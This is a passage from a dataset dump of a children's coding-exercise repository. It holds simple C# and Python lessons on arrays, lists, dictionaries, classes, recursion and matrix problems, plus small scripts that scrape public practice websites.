"text": "using System;\n\nnamespace CSharp\n{\n class Program\n {\n\n static void Main(string[] args)\n {\n // let's keep all the demo function call here\n // no actual code here.\n\n // PrimeNumber.Demo();\n // NameMatchScore.Demo();\n // ArrayExamples.Demo();\n // ArrayExamples.Demo2();\n // ArrayStats.Demo();\n // CSharpExample.FunctionIntro.Demo();\n // InWordsClass.Demo();\n // CSharpExample.SortingExample.Demo();\n // CSharpExample.InheritanceDemo.DemoOp();\n // CSharpExample.InheritanceDemo.Demo();\n // CSharpExample.ExceptionsExample.Demo();\n // EnumExample.Demo();\n // StackQueueExample.Demo();\n //StringReverse.Demo();\n Calculator.Calc();\n }\n }\n}\n"
},
{
"alpha_fraction": 0.5985772609710693,
"alphanum_fraction": 0.6107723712921143,
"avg_line_length": 18.294116973876953,
"blob_id": "db76eac64e89d08681b1f138f658f914aa9b13ea",
"content_id": "7c88f0a80609bfe8b4ee43309f79535e697b9a89",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 984,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 51,
"path": "/Python/011 OOPs.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# Object oriented programming\nimport math\n\n\nclass Circle:\n def __init__(self, r):\n self.Radius = r\n\n def GetArea(self):\n return 3.14 * self.Radius * self.Radius\n\n def GetCircumference(self):\n return 2 * 3.14 * self.Radius\n\n\nclass Rectangle:\n def __init__(self, l, w):\n self.Length = l # Property 1\n self.Width = w # Property 2\n\n @staticmethod\n def GetFormula():\n # return Self.Length * Self.Width\n return \"Length * Width\"\n\n def GetArea(self):\n return self.Length * self.Width\n\n def GetPerimeter(self):\n return 2 * (self.Width + self.Length)\n\n\nclass Square:\n def __init__(self, s):\n self.Side = s\n\n def GetArea(self):\n return self.Side * self.Side\n\n def GetPerimeter(self):\n return 4 * self.Side\n\n\na = Circle(6)\n\nprint(a.GetArea())\nprint(a.GetCircumference())\n\n\n# Static method should be called using class name\n# Instance method should be called using instance obj\n"
},
{
"alpha_fraction": 0.511049747467041,
"alphanum_fraction": 0.511049747467041,
"avg_line_length": 20.294116973876953,
"blob_id": "a09dc6ffeefeb97324604530d58c79616ae9c239",
"content_id": "87950f279dd89e2466ce0bbe5d4e03b9eb5e325e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 364,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 17,
"path": "/Excercise/CSharp/Program.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class Program\n {\n static void Main(string[] args)\n {\n //ArraySum.Execute();\n //SpiralMatrix.Execute();\n //FourSumCount.Execute();\n //MovingAvg.Execute();\n //MaximalRectangle.Execute();\n TheRecusriveStackProblem.Execute();\n }\n }\n}\n"
},
{
"alpha_fraction": 0.6629213690757751,
"alphanum_fraction": 0.6853932738304138,
"avg_line_length": 21.5,
"blob_id": "2f564fedbddf078e7ef863c0414033576b7f054c",
"content_id": "4747fc791550fb53f57b0269081e57b463095771",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 89,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 4,
"path": "/Excercise/Python/MISC/script.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import subprocess\n\nfor i in range(0,5):\n subprocess.check_call(['python', 'hello.py'])"
},
{
"alpha_fraction": 0.5428571701049805,
"alphanum_fraction": 0.5428571701049805,
"avg_line_length": 11,
"blob_id": "11c1e30c3c66d0716ab89dcad71a83c9bdbc22ba",
"content_id": "419dd77a21e0c2584f1db5787e69518cdde264d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 35,
"license_type": "no_license",
"max_line_length": 12,
"num_lines": 3,
"path": "/Excercise/Python/MISC/hello.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "a = 'guru'\nb = 'prasad'\nprint(a, b)"
},
{
"alpha_fraction": 0.8571428656578064,
"alphanum_fraction": 0.8571428656578064,
"avg_line_length": 27.5,
"blob_id": "16cf07fd4e5f550603d8146b224092b7aa93e292",
"content_id": "5824956ab0e57808834ab0a057c95a0d4885bcaa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 56,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 2,
"path": "/Excercise/Python/webautomate.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "from selenium import webdriver\ndriver = webdriver.Chrome"
},
{
"alpha_fraction": 0.4911392331123352,
"alphanum_fraction": 0.5215190052986145,
"avg_line_length": 26.241378784179688,
"blob_id": "f9a196ec91cba197a48eb42e668b6b14d608e16b",
"content_id": "761ad99934a080b57c320547ea17822ba27ceeec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 790,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 29,
"path": "/Relations/mermaid.md",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "``` mermaid\ngraph LR\n A[Men] -- Mom --> B[Mother] \n A -- Spouse --> S1[Wife]\n subgraph mom side relativives\n B -- Mom --> C[Grandma]\n C -- Spouse --> D[Grandpa]\n C -- son --> E(uncle)\n C -- daughter --> F(aunt)\n end\n subgraph Dad side relativives\n B -- Spouse --> D1[Father]\n D1 -- Mom --> D2[Grandma]\n D2 -- Spouse --> D3[Grandpa]\n D2 -- son --> D4(uncle)\n D2 -- daughter --> D5(aunt)\n end\n subgraph Spouse side relativives\n S1 -- Mom --> S2[Mother-in-law]\n S2 -- Spouse --> S3[Father-in-law]\n S2 -- son --> S4(brother-in-law)\n S2 -- daughter --> S5(sister=in-law)\n end\n subgraph Family\n A -- Son --> F1[Son]\n S1 -- Son --> F1[Son]\n A -- daughter --> F2[Daughter]\n S1 -- daughter --> F2[Daughter]\n end\n"
},
{
"alpha_fraction": 0.31271877884864807,
"alphanum_fraction": 0.3220536708831787,
"avg_line_length": 20.450000762939453,
"blob_id": "5a7fc9019149fd4a98609be2979760d37ec3fe64",
"content_id": "1e5a4e930fa208bc018e8c7b9a564a8895ea6ebb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 857,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 40,
"path": "/Excercise/CSharp/FindContentChildren.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n public class FindContentChildren\n {\n public static void Execute()\n {\n int[] gread = { 1, 2, 3 };\n int[] size = { 1, 1 };\n int s = solve(gread, size);\n Console.WriteLine(s);\n }\n\n static public int solve(int[] g, int[] s)\n {\n {\n int cnt = 0;\n\n Array.Sort(g);\n Array.Sort(s);\n\n int child = 0;\n int cookie = 0;\n\n while (child < g.Length && cookie < s.Length)\n {\n if (g[child] <= s[cookie])\n {\n child++;\n cnt++;\n }\n cookie++;\n }\n\n return cnt;\n }\n }\n }\n}"
},
{
"alpha_fraction": 0.4579256474971771,
"alphanum_fraction": 0.4814090132713318,
"avg_line_length": 16.03333282470703,
"blob_id": "8ddcd72ee5a86c1ea43865824ae089313c5dc7fe",
"content_id": "1241c2e5a1c8d2cbc72594c23ee9f461c0c7fb3c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 511,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 30,
"path": "/Python/014 RecursiveFib.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "FebArray = [0, 1]\n\n\ndef Fibonacci(n):\n if n <= 0:\n raise Exception('Invalid Input')\n # else if n == 1 or n == 2:\n # return n-1\n elif n <= len(FebArray):\n return FebArray[n-1]\n else:\n temp = Fibonacci(n-2) + Fibonacci(n-1)\n FebArray.append(temp)\n return temp\n\n\ndef PrintFibonacci(n):\n a = 0\n b = 1\n for i in range(n):\n print(f\"{i}. {a}\")\n c = a\n a = b\n b = a + c\n\n\ntry:\n print(Fibonacci(5))\nexcept:\n print(\"Error\")\n"
},
{
"alpha_fraction": 0.4375,
"alphanum_fraction": 0.46621620655059814,
"avg_line_length": 20.962963104248047,
"blob_id": "9710deee12d2bb66331e8120bacd6bca5d7ebafc",
"content_id": "9c4db923887b8e74c8557719a9834909834b9fb0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 592,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 27,
"path": "/C#/002 NameMatchScore.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class NameMatchScore\n {\n public static void Demo()\n {\n Console.WriteLine(\"Enter your name:\");\n var s1 = Console.ReadLine();\n\n Console.WriteLine(\"Enter your friend name:\");\n var s2 = Console.ReadLine();\n\n int n1 = 0;\n int n2 = 0;\n\n foreach (var item in s1)\n n1 = n1 + (int)item;\n\n foreach (var item in s2)\n n2 = n2 + (int)item;\n\n Console.WriteLine($\"You match rate is { (n1 + n2) % 100 }%\");\n }\n }\n}"
},
{
"alpha_fraction": 0.663652777671814,
"alphanum_fraction": 0.6781193614006042,
"avg_line_length": 26.649999618530273,
"blob_id": "bb78575f9381da1bce77a7df2b96e4065af02db4",
"content_id": "0e9cb30279a15807effae7237a50af628bfa28a7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 553,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 20,
"path": "/Python/002 Data Types/Dictionary.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "'''\nDictionaries are used to store data values in key:value pairs.\nA dictionary is a collection which is unordered, changeable and does not allow duplicates.\nDictionaries are written with curly brackets, and have keys and values:\n'''\n\n# Dictionaries in Python Key : value pair\ndic = {\"Shwetha\": 23,\n \"Shreya\": 99,\n \"Vishal\": 24,\n \"Lalith\": 89}\n\nprint(\"\")\nfor k in dic: # Iterator gives you all keys\n print(f\"Here is {k} : {dic[k]}\")\n\nprint(\"Getting value using Key\")\nprint(dic[\"Shwetha\"])\nprint(dic[\"Lalith\"])\nprint(dic[\"Shreya\"])\n"
},
{
"alpha_fraction": 0.4171428680419922,
"alphanum_fraction": 0.4399999976158142,
"avg_line_length": 28.16666603088379,
"blob_id": "0fc5a295860a84963750571e0fc4ac5bb3892ad0",
"content_id": "1f582f30513397581359058e21933110755bfb88",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 175,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 6,
"path": "/Excercise/Python/OrganizeMe/organize.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "SUBDIRECTORIES = {\n \"DOCUMENTS\": ['.pdf','.rtf','.txt'],\n \"AUDIO\": ['.m4a','.m4b','.mp3'],\n \"VIDEOS\": ['.mov','.avi','.mp4'],\n \"IMAGES\": ['.jpg','.jpeg','.png']\n}\n"
},
{
"alpha_fraction": 0.3306010961532593,
"alphanum_fraction": 0.33515483140945435,
"avg_line_length": 18.9818172454834,
"blob_id": "f5794554aaa93fa8a87cbb5d73e809a9b6be13c1",
"content_id": "277d8a892c0b328761941c35e3011bb5c015f5f7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1098,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 55,
"path": "/C#/001 PrimeNumber.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n class PrimeNumber\n {\n\n public static void Demo()\n {\n Console.WriteLine(\"Enter a number to check it is Prime or not?\");\n int x = int.Parse(Console.ReadLine());\n\n if (IsPrime(x))\n {\n Console.WriteLine(\"It is prime\");\n }\n else\n {\n Console.WriteLine(\"It is not prime\");\n }\n }\n\n public static bool IsPrime(int num)\n {\n bool prime = true;\n\n for (int i = 2; i < num; i++)\n {\n if (num % i == 0)\n {\n prime = false;\n break;\n }\n }\n\n return prime;\n }\n\n public static int Divisable(int num)\n {\n int ans = 1;\n\n for (int i = 2; i < num; i++)\n {\n if (num % i == 0)\n {\n ans = i;\n break;\n }\n }\n\n return ans;\n }\n }\n}"
},
{
"alpha_fraction": 0.45709124207496643,
"alphanum_fraction": 0.46973803639411926,
"avg_line_length": 29.342466354370117,
"blob_id": "d98a99381dd6947e2aa86ec035fe9c68abdc2643",
"content_id": "51c556776889ec8fc9b753b256239433a86c5e8d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 2214,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 73,
"path": "/C#/005 FunctionIntro.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharpExample\n{\n // Base Class\n public class FunctionIntro\n {\n public static void Demo()\n {\n SayHello();\n DoSomething(100);\n int ans = Add(45, 28);\n Console.WriteLine(ans);\n Console.WriteLine($\"Random { GetRandom(0, 10) }\");\n Console.WriteLine($\"Random Month: { GetRandomMonth() }\");\n }\n public static void SayHello()\n {\n Console.WriteLine(\"*********************\");\n Console.WriteLine(\" Hello \");\n Console.WriteLine(\"*********************\");\n }\n public static int GetRandom(int startNum, int endNum)\n {\n int range = endNum - startNum;\n\n Random r = new Random();\n int vishalrand = r.Next();\n int small = (vishalrand % range) + startNum;\n\n return small;\n }\n\n public static string GetRandomMonth()\n {\n int small = GetRandom(1, 13);\n string randMonth;\n\n switch (small)\n {\n case 1: randMonth = \"January\"; break;\n case 2: randMonth = \"February\"; break;\n case 3: randMonth = \"March\"; break;\n case 4: randMonth = \"April\"; break;\n case 5: randMonth = \"May\"; break;\n case 6: randMonth = \"June\"; break;\n case 7: randMonth = \"July\"; break;\n case 8: randMonth = \"August\"; break;\n case 9: randMonth = \"September\"; break;\n case 10: randMonth = \"October\"; break;\n case 11: randMonth = \"November\"; break;\n case 12: randMonth = \"December\"; break;\n default: randMonth = \"Unknown\"; break;\n }\n\n return randMonth;\n }\n\n\n //<Return Type> <Function Name> ( <parameter type> <Parameter Name> )\n public static void DoSomething(int value)\n {\n Console.WriteLine();\n Console.WriteLine($\"The value is : {value}\");\n Console.WriteLine();\n }\n\n public static int Add(int x, int y)\n {\n return x + y;\n }\n }\n}"
},
{
"alpha_fraction": 0.43816253542900085,
"alphanum_fraction": 0.4840989410877228,
"avg_line_length": 16.15151596069336,
"blob_id": "8d441d3a11040423b2ca3b31718d1e88ff3cc67f",
"content_id": "7c4fd979e305a86618db2bda3a5d41781bdd967e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 566,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 33,
"path": "/Python/006 MatrixAdd.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# This program adds two two-dimention lists.\ndef AddMatrix(a, b):\n ans = [] # Array\n for i in range(0, 3):\n ansrow = [] # Array\n for j in range(0, 3):\n # ansrow we are adding each number\n ansrow.append(a[i][j] + b[i][j])\n\n # we are adding an array\n ans.append(ansrow)\n return ans\n\n\ndef PrintArr(x):\n for i in x:\n print(i)\n print(\" \")\n\n\na = [[45, 23, 5],\n [5, 9, 21],\n [9, 53, 9]\n ]\n\nb = [[5, 3, 1], [2, 9, 1], [4, 3, 0]]\n\nPrintArr(a)\nPrintArr(b)\n\nc = AddMatrix(a, b)\n\nPrintArr(c)\n"
},
{
"alpha_fraction": 0.5596153736114502,
"alphanum_fraction": 0.5951923131942749,
"avg_line_length": 22.370786666870117,
"blob_id": "344e3ad7e94d158a28e0ddb3603ec6073ae63a69",
"content_id": "717b2c3589cec98f5131786d2acbcfe6094c85b0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2080,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 89,
"path": "/Python/005 2DArray.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "'''\nPython does not have built-in support for Arrays, we use List.\nList is a special variable, which can hold more than one value at a time.\n\n\nMethod\tDescription\nappend()\tAdds an element at the end of the list\nclear()\tRemoves all the elements from the list\ncopy()\tReturns a copy of the list\ncount()\tReturns the number of elements with the specified value\nextend()\tAdd the elements of a list (or any iterable), to the end of the current list\nindex()\tReturns the index of the first element with the specified value\ninsert()\tAdds an element at the specified position\npop()\tRemoves the element at the specified position\nremove()\tRemoves the first item with the specified value\nreverse()\tReverses the order of the list\nsort()\tSorts the list\n'''\n\n\ndef SingleDimention():\n x = 34 # variable\n y = [64, 55, 666, 533] # set of values use array\n\n print(x)\n print(y)\n\n names = [\"Lalith\", \"Shravan\", \"Swetha\"]\n marks = [43, 53, 666, 90]\n\n print(names)\n\n print(names[0])\n print(names[1])\n print(names[2])\n\n print(marks)\n\n\ndef TwoDimentionExample():\n names = [[\"Lalith\", \"Music\"],\n [\"Shravan\", \"Math\"],\n [\"Swetha\", \"Art\"]\n ]\n\n for i in names:\n print(\"Let's print the array:\", i)\n\n print(\"Let's print each element of the inner array\")\n for y in i:\n print(y)\n print(\"\")\n\n allmarks = [\n [34, 24, 53, 66],\n [40, 44, 23, 56],\n [34, 40, 3, 60],\n ]\n\n print(allmarks)\n\n\ndef StaggeredArray():\n a = [[11, 12, 5, 2],\n [15, 6, 10],\n [10, 8, 12, 5],\n [12, 15, 8, 6],\n []\n ]\n\n # this will print the 4th array\n print(\"An element in the staggered array\")\n print(a[3])\n\n # You can access a particular index\n print(\"An index in the staggered array\")\n print(a[2][1])\n\n print(\"All elements\")\n # Loop thru the items\n for x in a: # takes each\n for y in x: # each element in the array\n print(y, end=\" \")\n print(\" \")\n\n\nSingleDimention()\nTwoDimentionExample()\nStaggeredArray()\n"
},
{
"alpha_fraction": 0.6993529200553894,
"alphanum_fraction": 0.7048282623291016,
"avg_line_length": 24.125,
"blob_id": "fb152fb8e2d701e797339349f5da4d4133acd0fb",
"content_id": "ebe5dfc9689e8e7735f79853cc175df75ffeed57",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2009,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 80,
"path": "/Python/002 Data Types/Lists.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# Lists are used to store mulitple values in one variable\n# For example:\ncars = [\"Ford\", \"Volvo\", \"BMW\", \"Hyndai\", \"Toyota\", \"Kia\", \"Tesla\"]\nprint(cars)\n\n# List items are ordered, changeable, and allow duplicate values.\n# List items are indexed, the first item has index [0], the second item has index [1] etc.\n\n\n# In order to access the individual values, you have to follow the following example:\n\nprint(cars[1])\n\n# If you want to print each one, you can do this:\n\nfor x in range (0, len(cars)):\n print(cars[x])\n\n# You can also do this in reverse:\n# Also, because the len(cars) starts counting at 1,\n# subtract 1 for it to make sense\n\nfor x in range(0, len(cars)):\n print(cars[(len(cars) - 1) - x])\n\n# There are mulitple methods to lists.\n# Here are some of them.\n\n# This one adds the value given.\ncars.append(\"Chevrolet\")\nprint(cars)\n\n# This one clears all the value in a list.\ncars.clear()\nprint(cars)\n\n# This just brings back everything in the last because,\n# we cleared \ncars = [\"Ford\", \"Volvo\", \"BMW\", \"Hyndai\", \"Toyota\", \"Kia\", \"Tesla\"]\n\n# This one copies everything in a list\ncarsfake = cars.copy()\nprint(carsfake)\n\n# This one gives the amount of times the value has been\n# used inside of the list\nprint(cars.count(\"BMW\"))\n\n# This one adds a list to another list\ncompanies = [\"Apple\",\"Microsoft\",\"Google\",\"Samsung\"]\ncompanies.extend(cars)\nprint(companies)\n\n# Gives the position of the given item\nprint(cars.index(\"Tesla\"))\n\n# This one adds the given item at a given location\ncars.insert(0, \"Chevrolet\")\nprint(cars)\n\n# This one deletes a specified item using the position\ncars.pop(0)\nprint(cars)\n\n# This one deletes the first instance of the item\n# with the value given\ncars.remove(\"Kia\")\nprint(cars)\n\n# This one reverse the list\ncars.reverse()\nprint(cars)\n\n# This one sorts the list (either alphabetically or numerically)\ncars.sort()\nprint(cars)\n\n# You can also store lists in lists\nCardcambos = [[\"King\",\"Queen\",\"Jack\"], [\"Queen\", \"King\", \"Jack\"], [\"Jack\",\"King\",\"Queen\"]]\nprint(Cardcambos[2])"
},
{
"alpha_fraction": 0.5439330339431763,
"alphanum_fraction": 0.6025104522705078,
"avg_line_length": 12.277777671813965,
"blob_id": "f4150fc853f13534049a47295369871a2bfe4a28",
"content_id": "ee98420594778fb3d9331b89184ffaa6d6b68e5d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 239,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 18,
"path": "/Python/010 MultiArgs.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "# This program shows how to pass multiple arguments to a function.\ndef Foo(**x):\n print(x[\"one\"])\n\n\ndef FooBar(a):\n print(a)\n\n\nFoo(one=8, two=30, three=45)\n\nFoo(two=30, one=8)\n\nFooBar(45)\n\nd = {\"one\": 45, \"two\": 30}\n\nprint(d[\"one\"])\n"
},
{
"alpha_fraction": 0.33039647340774536,
"alphanum_fraction": 0.35132157802581787,
"avg_line_length": 27.390625,
"blob_id": "15e4f450231fa969e43cba5604446f03793a0eac",
"content_id": "904efd7f0bdfe153b000ba3c2983fa513f02d165",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1816,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 64,
"path": "/Excercise/CSharp/SpiralMatrix.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\nusing System.Collections.Generic;\n\nnamespace CSharp\n{\n public class SpiralMatrix\n {\n public static void Execute()\n {\n int[,] input = { { 1, 2, 3, 40, 400 },\n { 4, 5, 6, 60, 600 },\n { 7, 8, 9, 90, 900 }\n };\n\n Console.WriteLine(\"\\nInput:\"); \n for (int i = 0; i < input.GetLength(0); i++)\n {\n Console.WriteLine();\n for (int j = 0; j < input.GetLength(1); j++)\n {\n Console.Write($\" {input[i,j],-3}\");\n }\n }\n\n var ret = Spiral(input);\n\n Console.WriteLine(\"\\nOutput:\"); \n foreach (var item in ret)\n Console.Write($\" {item,-3}\");\n }\n\n static List<int> Spiral(int[,] input)\n {\n int left = 0;\n int right = input.GetLength(1)-1;\n\n int top = 0; \n int bottom = input.GetLength(0)-1;\n\n List<int> ans = new List<int>();\n\n while (top <= bottom && left <= right) {\n for (int c = left; c <= right; c++) \n ans.Add(input[top,c]);\n\n for (int r = top + 1; r <= bottom; r++) \n ans.Add(input[r,right]);\n \n if (top < bottom && left < right) {\n for (int c = right - 1; c > left; c--) \n ans.Add(input[bottom,c]);\n\n for (int r = bottom; r > top; r--) \n ans.Add(input[r,left]);\n }\n top++;\n bottom--;\n left++;\n right--;\n }\n return ans;\n }\n }\n}"
},
{
"alpha_fraction": 0.39711934328079224,
"alphanum_fraction": 0.3984910845756531,
"avg_line_length": 18.453332901000977,
"blob_id": "91246076c700de4bd547eb63c1ed7530658515d5",
"content_id": "e4b895065ba0a779bc7fd621c599b17ca62eda62",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 1458,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 75,
"path": "/C#/009 Inheritance.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharpExample2\n{\n // Base Class\n class Rectangle\n {\n protected int length;\n protected int width;\n\n public virtual int Length\n {\n get { return length; }\n set { length = value; }\n }\n\n public virtual int Width\n {\n get { return width; }\n set { width = value; }\n }\n\n public int GetArea()\n {\n return Length * Width;\n }\n\n public int GetPerimeter()\n {\n return 2 * (Length + Width);\n }\n }\n\n // Derived Class\n class Square : Rectangle\n {\n public int Side\n {\n get { return Width; }\n set\n {\n width = value;\n length = value;\n }\n }\n\n public override int Length\n {\n get { return length; }\n set\n {\n length = value;\n width = value;\n }\n }\n\n public override int Width\n {\n get { return width; }\n set\n {\n width = value;\n length = value;\n }\n }\n\n // public static Square Add(Square x, Square y)\n public static Square operator +(Square x, Square y)\n {\n Square z = new Square();\n z.Side = x.Side + y.Side;\n return z;\n }\n }\n}"
},
{
"alpha_fraction": 0.6682615876197815,
"alphanum_fraction": 0.70015949010849,
"avg_line_length": 35.94117736816406,
"blob_id": "b429bd1d4966147ced171e4ff5f33ee81e0275a8",
"content_id": "8c5c5e033fb85320f48b750be4b1355b951823ac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 627,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 17,
"path": "/Excercise/Python/scrap.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import requests\nfrom bs4 import BeautifulSoup\n\nurl1 = 'http://quotes.toscrape.com'\nurl = 'https://www.jeyamohan.in/130246/?fbclid=IwAR0NzjMq2LoUcm2Fv2ziKQSSgYfLboC8n_-IqfgylMh4Q1q1csHS9hozDv0#.XrBvlqhKhnK'\nresponse = requests.get(url1)\nsoup = BeautifulSoup(response.text, 'lxml')\nquotes = soup.find_all('span', class_='text')\nauthors = soup.find_all('small', class_='author')\ntags = soup.find_all('div', class_='tags')\n\nfor i in range(0, len(quotes)):\n print( quotes[i].text )\n print( \" -\" +authors[i].text )\n quoteTags = tags[i].find_all('a',class_ = 'tag')\n for quoteTag in quoteTags:\n print(quoteTag.text)"
},
{
"alpha_fraction": 0.614345133304596,
"alphanum_fraction": 0.6237006187438965,
"avg_line_length": 34.66666793823242,
"blob_id": "dc1265701d0ac08abf68ae1660454fc1d45b63e6",
"content_id": "0b3815431140e30ad84c52dd4b3068be08cfa674",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 962,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 27,
"path": "/Excercise/Python/Recursive.py",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "import requests\nfrom bs4 import BeautifulSoup\n\nurl = 'https://scrapingclub.com/exercise/list_basic/'\nresponses = requests.get(url)\nsoup = BeautifulSoup(responses.text, 'lxml')\nitems = soup.find_all('div', class_='col-lg-4 col-md-6 mb-4')\n\npages = soup.find('ul', class_='pagination')\nlinks = pages.find_all('a', class_='page-link')\nurls = []\nfor link in links:\n pagenum = int(link.text) if link.text.isdigit() else None\n if(pagenum != None):\n x = link.get('href') \n urls.append(x)\n\nfor querystring in urls:\n url = 'https://scrapingclub.com/exercise/list_basic/'\n responses = requests.get(url+querystring)\n soup = BeautifulSoup(responses.text, 'lxml')\n items = soup.find_all('div', class_='col-lg-4 col-md-6 mb-4')\n\n for item in items:\n itemname = item.find('h4','card-title').text.strip('\\n')\n price = item.find('h5').text\n print(\"Name: %s - Price: %s\" % (itemname, price))"
},
{
"alpha_fraction": 0.31500619649887085,
"alphanum_fraction": 0.33484911918640137,
"avg_line_length": 26.5,
"blob_id": "269438ec0484e2869522d6de3b8c4b90b5ca7d1e",
"content_id": "f4fb6b317779cc6ab3dedb288b228807e12addf0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 2419,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 88,
"path": "/Excercise/CSharp/MaximalRectangle.cs",
"repo_name": "guvijaya/KidsCoding",
"src_encoding": "UTF-8",
"text": "using System;\n\nnamespace CSharp\n{\n public class MaximalRectangle\n {\n public static void Execute()\n {\n int[][] data = new int[5][];\n\n data[0] = new int[] { 0, 0, 0, 0, 0 };\n data[1] = new int[] { 0, 1, 1, 1, 0 };\n data[2] = new int[] { 0, 1, 0, 1, 0 };\n data[3] = new int[] { 0, 1, 1, 1, 0 };\n data[4] = new int[] { 0, 0, 0, 0, 0 };\n\n Print(data);\n\n Console.WriteLine($\"\\n {GetArea(data)}\");\n }\n\n public static int GetArea(int[][] data)\n {\n int rows = data.Length;\n int columns = data[0].Length;\n\n if(rows == 0 || columns == 0)\n return 0;\n\n int area = 0;\n\n int[][] dp = new int[rows][];\n\n for (int i = 0; i < dp.Length; i++)\n {\n dp[i] = new int[columns];\n }\n\n for(int i = 0; i < rows; ++i){\n for(int j = 0; j < columns; ++j){\n int temp = i;\n while(temp < rows && data[temp][j] == 1){\n // Count all consicutive 1s in column\n ++dp[i][j];\n ++temp;\n } \n }\n }\n \n Console.WriteLine(\"First Scan\");\n Print(dp);\n\n for(int i = 0; i < rows; ++i){\n for(int j = 0; j < columns; ++j){\n int temp = j;\n int len = dp[i][j];\n while(temp < columns && dp[i][temp] > 0){\n len = len < dp[i][temp] ? len : dp[i][temp];\n ++temp;\n area = area > len * (temp-j) ? area : len * (temp-j);\n }\n area = area > len*(temp-j) ? area : len*(temp-j);\n }\n }\n\n Console.WriteLine();\n Print(dp);\n return area; \n }\n\n public static int Print(int[][] data)\n {\n int rows = data.Length;\n int columns = data[0].Length;\n\n for (int i = 0; i < rows; i++)\n {\n Console.WriteLine();\n for (int j = 0; j < columns; j++)\n {\n Console.Write($\"{data[i][j]} \");\n }\n }\n\n return 0;\n }\n }\n}"
},
{
"alpha_fraction": 0.6132339239120483,
"alphanum_fraction": 0.6206896305084229,
"avg_line_length": 19.264150619506836,
"blob_id": "fa87eda32eb0840b7e31e2200e0780227f85ff86",
"content_id": "58c1c78cd108be5a48c438680f2415c90cddd8de",
